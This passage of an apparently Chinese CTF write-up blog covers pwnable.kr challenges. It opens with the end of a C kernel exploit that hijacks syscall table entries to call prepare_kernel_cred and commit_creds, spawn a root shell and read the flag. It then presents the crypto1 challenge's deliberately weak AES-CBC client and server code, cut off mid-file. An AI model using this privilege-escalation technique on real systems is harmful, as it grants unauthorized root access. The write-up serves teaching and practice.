</span></span><span class="line"><span class="ln">13</span><span class="cl">	<span class="c1">//0x8003f924 = prepare_kernel_cred
</span></span></span><span class="line"><span class="ln">14</span><span class="cl">	<span class="nf">syscall</span><span class="p">(</span><span class="mi">223</span><span class="p">,</span> <span class="s">&#34;</span><span class="se">\x24\xf9\x03\x80</span><span class="s">&#34;</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">sct</span><span class="p">[</span><span class="mi">138</span><span class="p">]);</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">	<span class="c1">//0x8003f56c = commit_creds
</span></span></span><span class="line"><span class="ln">16</span><span class="cl">	<span class="nf">syscall</span><span class="p">(</span><span class="mi">223</span><span class="p">,</span> <span class="s">&#34;</span><span class="se">\x6c\xf5\x03\x80</span><span class="s">&#34;</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">sct</span><span class="p">[</span><span class="mi">139</span><span class="p">]);</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">
</span></span><span class="line"><span class="ln">18</span><span class="cl">	<span class="nf">syscall</span><span class="p">(</span><span class="mi">139</span><span class="p">,</span> <span class="nf">syscall</span><span class="p">(</span><span class="mi">138</span><span class="p">,</span> <span class="mi">0</span><span class="p">));</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl">	<span class="nf">system</span><span class="p">(</span><span class="s">&#34;/bin/sh&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl">
</span></span><span class="line"><span class="ln">21</span><span class="cl">	<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl">
</span></span><span class="line"><span class="ln">23</span><span class="cl"><span class="p">}</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">c</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>编译运行：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-console" data-lang="console"><span class="line"><span class="ln">1</span><span class="cl"><span class="go">/ $ mkdir /tmp/sys
</span></span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="go">/ $ cd /tmp/sys
</span></span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="go">/tmp/sys $ vi exp.c
</span></span></span><span class="line"><span class="ln">4</span><span class="cl"><span class="go">/tmp/sys $ gcc exp.c -o exp
</span></span></span><span class="line"><span class="ln">5</span><span class="cl"><span class="go">/tmp/sys $ ./exp
</span></span></span><span class="line"><span class="ln">6</span><span class="cl"><span class="go">/bin/sh: can&#39;t access tty; job control turned off
</span></span></span><span class="line"><span class="ln">7</span><span class="cl"><span class="go">/tmp/sys # cat /root/flag
</span></span></span><span class="line"><span class="ln">8</span><span class="cl"><span class="go">Must_san1tize_Us3r_p0int3r
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">console</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<h3 id="crypto1">crypto1<a class="anchor" href="#crypto1">#</a></h3>
<blockquote>
<p>Can you break AES128-CBC cipher?
AES128-CBC should be always safe from cracking.</p>
<p>ssh <a
  href="mailto:crypto1@pwnable.kr"
  >crypto1@pwnable.kr</a
>
 -p2222 (pw:guest)</p>
</blockquote>
<p>看起来是密码学题目，AES 安全不了解。</p>
<p>client.py</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="ch">#!/usr/bin/python2</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="kn">from</span> <span class="nn">Crypto.Cipher</span> <span class="kn">import</span> <span class="n">AES</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="kn">import</span> <span class="nn">base64</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="kn">import</span> <span class="nn">os</span><span class="o">,</span> <span class="nn">sys</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="kn">import</span> <span class="nn">xmlrpclib</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="n">rpc</span> <span class="o">=</span> <span class="n">xmlrpclib</span><span class="o">.</span><span class="n">ServerProxy</span><span class="p">(</span><span class="s2">&#34;http://localhost:9100/&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">
</span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="n">BLOCK_SIZE</span> <span class="o">=</span> <span class="mi">16</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="n">PADDING</span> <span class="o">=</span> <span class="s1">&#39;</span><span class="se">\x00</span><span class="s1">&#39;</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="n">pad</span> <span class="o">=</span> <span class="k">lambda</span> <span class="n">s</span><span class="p">:</span> <span class="n">s</span> <span class="o">+</span> <span class="p">(</span><span class="n">BLOCK_SIZE</span> <span class="o">-</span> <span class="nb">len</span><span class="p">(</span><span class="n">s</span><span class="p">)</span> <span class="o">%</span> <span class="n">BLOCK_SIZE</span><span class="p">)</span> <span class="o">*</span> <span class="n">PADDING</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="n">EncodeAES</span> <span class="o">=</span> <span class="k">lambda</span> <span class="n">c</span><span class="p">,</span> <span class="n">s</span><span class="p">:</span> <span class="n">c</span><span class="o">.</span><span class="n">encrypt</span><span class="p">(</span><span class="n">pad</span><span class="p">(</span><span class="n">s</span><span class="p">))</span><span class="o">.</span><span class="n">encode</span><span class="p">(</span><span class="s1">&#39;hex&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="n">DecodeAES</span> <span class="o">=</span> <span class="k">lambda</span> <span class="n">c</span><span class="p">,</span> <span class="n">e</span><span class="p">:</span> <span class="n">c</span><span class="o">.</span><span class="n">decrypt</span><span class="p">(</span><span class="n">e</span><span class="o">.</span><span class="n">decode</span><span class="p">(</span><span class="s1">&#39;hex&#39;</span><span class="p">))</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">
</span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="c1"># server&#39;s secrets</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="n">key</span> <span class="o">=</span> <span class="s1">&#39;erased&#39;</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="n">iv</span> <span class="o">=</span> <span class="s1">&#39;</span><span class="se">\x5c</span><span class="s1">&#39;</span><span class="o">*</span><span class="n">BLOCK_SIZE</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl"><span class="n">cookie</span> <span class="o">=</span> <span class="s1">&#39;erased&#39;</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl">
</span></span><span class="line"><span class="ln">19</span><span class="cl"><span class="c1"># guest / a488ff12949b87e5c93d489c27217486702b179c060399adf36fc3bc1f5425ec</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl"><span class="k">def</span> <span class="nf">sanitize</span><span class="p">(</span><span class="n">arg</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl">        <span class="k">for</span> <span class="n">c</span> <span class="ow">in</span> <span class="n">arg</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl">                <span class="k">if</span> <span class="n">c</span> <span class="ow">not</span> <span class="ow">in</span> <span class="s1">&#39;1234567890abcdefghijklmnopqrstuvwxyz-_&#39;</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl">                        <span class="k">return</span> <span class="kc">False</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl">        <span class="k">return</span> <span class="kc">True</span>
</span></span><span class="line"><span class="ln">25</span><span class="cl">
</span></span><span class="line"><span class="ln">26</span><span class="cl"><span class="k">def</span> <span class="nf">AES128_CBC</span><span class="p">(</span><span class="n">msg</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">27</span><span class="cl">        <span class="n">cipher</span> <span class="o">=</span> <span class="n">AES</span><span class="o">.</span><span class="n">new</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="n">AES</span><span class="o">.</span><span class="n">MODE_CBC</span><span class="p">,</span> <span class="n">iv</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">28</span><span class="cl">        <span class="k">return</span> <span class="n">EncodeAES</span><span class="p">(</span><span class="n">cipher</span><span class="p">,</span> <span class="n">msg</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">29</span><span class="cl">
</span></span><span class="line"><span class="ln">30</span><span class="cl"><span class="k">def</span> <span class="nf">request_auth</span><span class="p">(</span><span class="nb">id</span><span class="p">,</span> <span class="n">pw</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">31</span><span class="cl">        <span class="n">packet</span> <span class="o">=</span> <span class="s1">&#39;</span><span class="si">{0}</span><span class="s1">-</span><span class="si">{1}</span><span class="s1">-</span><span class="si">{2}</span><span class="s1">&#39;</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="nb">id</span><span class="p">,</span> <span class="n">pw</span><span class="p">,</span> <span class="n">cookie</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">32</span><span class="cl">        <span class="n">e_packet</span> <span class="o">=</span> <span class="n">AES128_CBC</span><span class="p">(</span><span class="n">packet</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">33</span><span class="cl">        <span class="nb">print</span> <span class="s1">&#39;sending encrypted data (</span><span class="si">{0}</span><span class="s1">)&#39;</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">e_packet</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">34</span><span class="cl">        <span class="n">sys</span><span class="o">.</span><span class="n">stdout</span><span class="o">.</span><span class="n">flush</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">35</span><span class="cl">        <span class="k">return</span> <span class="n">rpc</span><span class="o">.</span><span class="n">authenticate</span><span class="p">(</span><span class="n">e_packet</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">36</span><span class="cl">
</span></span><span class="line"><span class="ln">37</span><span class="cl"><span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s1">&#39;__main__&#39;</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">38</span><span class="cl">        <span class="nb">print</span> <span class="s1">&#39;---------------------------------------------------&#39;</span>
</span></span><span class="line"><span class="ln">39</span><span class="cl">        <span class="nb">print</span> <span class="s1">&#39;-       PWNABLE.KR secure RPC login system        -&#39;</span>
</span></span><span class="line"><span class="ln">40</span><span class="cl">        <span class="nb">print</span> <span class="s1">&#39;---------------------------------------------------&#39;</span>
</span></span><span class="line"><span class="ln">41</span><span class="cl">        <span class="nb">print</span> <span class="s1">&#39;&#39;</span>
</span></span><span class="line"><span class="ln">42</span><span class="cl">        <span class="nb">print</span> <span class="s1">&#39;Input your ID&#39;</span>
</span></span><span class="line"><span class="ln">43</span><span class="cl">        <span class="n">sys</span><span class="o">.</span><span class="n">stdout</span><span class="o">.</span><span class="n">flush</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">44</span><span class="cl">        <span class="nb">id</span> <span class="o">=</span> <span class="n">raw_input</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">45</span><span class="cl">        <span class="nb">print</span> <span class="s1">&#39;Input your PW&#39;</span>
</span></span><span class="line"><span class="ln">46</span><span class="cl">        <span class="n">sys</span><span class="o">.</span><span class="n">stdout</span><span class="o">.</span><span class="n">flush</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">47</span><span class="cl">        <span class="n">pw</span> <span class="o">=</span> <span class="n">raw_input</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">48</span><span class="cl">
</span></span><span class="line"><span class="ln">49</span><span class="cl">        <span class="k">if</span> <span class="n">sanitize</span><span class="p">(</span><span class="nb">id</span><span class="p">)</span> <span class="o">==</span> <span class="kc">False</span> <span class="ow">or</span> <span class="n">sanitize</span><span class="p">(</span><span class="n">pw</span><span class="p">)</span> <span class="o">==</span> <span class="kc">False</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">50</span><span class="cl">                <span class="nb">print</span> <span class="s1">&#39;format error&#39;</span>
</span></span><span class="line"><span class="ln">51</span><span class="cl">                <span class="n">sys</span><span class="o">.</span><span class="n">stdout</span><span class="o">.</span><span class="n">flush</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">52</span><span class="cl">                <span class="n">os</span><span class="o">.</span><span class="n">_exit</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">53</span><span class="cl">
</span></span><span class="line"><span class="ln">54</span><span class="cl">        <span class="n">cred</span> <span class="o">=</span> <span class="n">request_auth</span><span class="p">(</span><span class="nb">id</span><span class="p">,</span> <span class="n">pw</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">55</span><span class="cl">
</span></span><span class="line"><span class="ln">56</span><span class="cl">        <span class="k">if</span> <span class="n">cred</span><span class="o">==</span><span class="mi">0</span> <span class="p">:</span>
</span></span><span class="line"><span class="ln">57</span><span class="cl">                <span class="nb">print</span> <span class="s1">&#39;you are not authenticated user&#39;</span>
</span></span><span class="line"><span class="ln">58</span><span class="cl">                <span class="n">sys</span><span class="o">.</span><span class="n">stdout</span><span class="o">.</span><span class="n">flush</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">59</span><span class="cl">                <span class="n">os</span><span class="o">.</span><span class="n">_exit</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">60</span><span class="cl">        <span class="k">if</span> <span class="n">cred</span><span class="o">==</span><span class="mi">1</span> <span class="p">:</span>
</span></span><span class="line"><span class="ln">61</span><span class="cl">                <span class="nb">print</span> <span class="s1">&#39;hi guest, login as admin&#39;</span>
</span></span><span class="line"><span class="ln">62</span><span class="cl">                <span class="n">sys</span><span class="o">.</span><span class="n">stdout</span><span class="o">.</span><span class="n">flush</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">63</span><span class="cl">                <span class="n">os</span><span class="o">.</span><span class="n">_exit</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">64</span><span class="cl">
</span></span><span class="line"><span class="ln">65</span><span class="cl">        <span class="nb">print</span> <span class="s1">&#39;hi admin, here is your flag&#39;</span>
</span></span><span class="line"><span class="ln">66</span><span class="cl">        <span class="nb">print</span> <span class="nb">open</span><span class="p">(</span><span class="s1">&#39;flag&#39;</span><span class="p">)</span><span class="o">.</span><span class="n">read</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">67</span><span class="cl">        <span class="n">sys</span><span class="o">.</span><span class="n">stdout</span><span class="o">.</span><span class="n">flush</span><span class="p">()</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>server.py</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="ch">#!/usr/bin/python2</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="kn">import</span> <span class="nn">xmlrpclib</span><span class="o">,</span> <span class="nn">hashlib</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="kn">from</span> <span class="nn">SimpleXMLRPCServer</span> <span class="kn">import</span> <span class="n">SimpleXMLRPCServer</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="kn">from</span> <span class="nn">Crypto.Cipher</span> <span class="kn">import</span> <span class="n">AES</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="kn">import</span> <span class="nn">os</span><span class="o">,</span> <span class="nn">sys</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">
</span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="n">BLOCK_SIZE</span> <span class="o">=</span> <span class="mi">16</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="n">PADDING</span> <span class="o">=</span> <span class="s1">&#39;</span><span class="se">\x00</span><span class="s1">&#39;</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="n">pad</span> <span class="o">=</span> <span class="k">lambda</span> <span class="n">s</span><span class="p">:</span> <span class="n">s</span> <span class="o">+</span> <span class="p">(</span><span class="n">BLOCK_SIZE</span> <span class="o">-</span> <span class="nb">len</span><span class="p">(</span><span class="n">s</span><span class="p">)</span> <span class="o">%</span> <span class="n">BLOCK_SIZE</span><span class="p">)</span> <span class="o">*</span> <span class="n">PADDING</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="n">EncodeAES</span> <span class="o">=</span> <span class="k">lambda</span> <span class="n">c</span><span class="p">,</span> <span class="n">s</span><span class="p">:</span> <span class="n">c</span><span class="o">.</span><span class="n">encrypt</span><span class="p">(</span><span class="n">pad</span><span class="p">(</span><span class="n">s</span><span class="p">))</span><span class="o">.</span><span class="n">encode</span><span class="p">(</span><span class="s1">&#39;hex&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="n">DecodeAES</span> <span class="o">=</span> <span class="k">lambda</span> <span class="n">c</span><span class="p">,</span> <span class="n">e</span><span class="p">:</span> <span class="n">c</span><span class="o">.</span><span class="n">decrypt</span><span class="p">(</span><span class="n">e</span><span class="o">.</span><span class="n">decode</span><span class="p">(</span><span class="s1">&#39;hex&#39;</span><span class="p">))</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">
</span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="c1"># server&#39;s secrets</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="n">key</span> <span class="o">=</span> <span class="s1">&#39;erased&#39;</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="n">iv</span> <span class="o">=</span> <span class="s1">&#39;</span><span class="se">\x5c</span><span class="s1">&#39;</span><span class="o">*</span><span class="n">BLOCK_SIZE</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="n">cookie</span> <span class="o">=</span> <span class="s1">&#39;erased&#39;</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">
</span></span><span class="line"><span class="ln">18</span><span class="cl"><span class="k">def</span> <span class="nf">AES128_CBC</span><span class="p">(</span><span class="n">msg</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl">    <span class="n">cipher</span> <span class="o">=</span> <span class="n">AES</span><span class="o">.</span><span class="n">new</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="n">AES</span><span class="o">.</span><span class="n">MODE_CBC</span><span class="p">,</span> <span class="n">iv</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl">    <span class="k">return</span> <span class="n">DecodeAES</span><span class="p">(</span><span class="n">cipher</span><span class="p">,</span> <span class="n">msg</span><span class="p">)</span><span class="o">.</span><span class="n">rstrip</span><span class="p">(</span><span class="n">PADDING</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl">
</span></span><span class="line"><span class="ln">22</span><span class="cl"><span class="k">def</span> <span class="nf">authenticate</span><span class="p">(</span><span class="n">e_packet</span><span class="p">):</span>
